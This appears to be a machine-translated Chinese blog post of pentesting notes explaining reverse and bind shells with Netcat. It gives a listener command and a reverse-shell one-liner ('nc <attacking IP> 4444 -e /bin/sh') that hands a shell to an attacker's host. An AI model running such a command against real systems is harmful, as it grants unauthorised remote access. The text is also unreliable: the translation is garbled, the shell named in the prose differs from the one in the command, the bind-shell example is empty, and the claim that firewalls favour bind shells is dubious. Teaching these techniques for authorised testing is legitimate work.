shells
反向 Shell 与绑定 Shell
Shell 只是获取和维护对目标计算机的访问权限的一种方式。最常见的 shell 类型是反向 shell,其中受害计算机连接回我们。用于完成 rev-shell 的常用工具是 Netcat。
Rev 贝壳
为了使 rev shell 工作,攻击设备需要侦听特定端口上的连接。在 Netcat 中,我们可以使用以下命令告诉设备监听选定的端口:nc -lvp 4444。
-l用于监听-v表示详细-p用于端口
通过此命令,我们告诉 Netcat 监听我们机器的端口 4444。
在目标上:
为了让目标连接到我们的监听器,我们必须在目标上发送执行命令来建立连接。例如:如果目标安装了netcat(或者我们有一些如何将netcat安装到目标机器上),我们可以使用它来连接回我们的机器。
在这种情况下,目标上的命令将如下所示:
1 | nc <attacking IP> 4444 -e /bin/sh |
在此命令中,目标设备上的 nc 创建一个返回攻击 IP 的 TCP 连接,并使用 -e 标志执行 shell (/bin/bash)(该 shell 在目标设备上执行)。
绑定外壳
绑定 shell 本质上是rev shell 的反向操作。在绑定 shell 中,我们在目标上打开一个端口进行侦听,并从攻击者处建立到该地址的 TCP 连接。
shell 执行仍然来自目标设备:
1 | # Attacking command (example) |
绑定 shell 在外部笔测试期间更常用,因为它更容易连接到目标(由于防火墙和其他使外部网络访问复杂化的因素)。
[!我以前的笔记(在文本中链接)]
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 xhj的博客!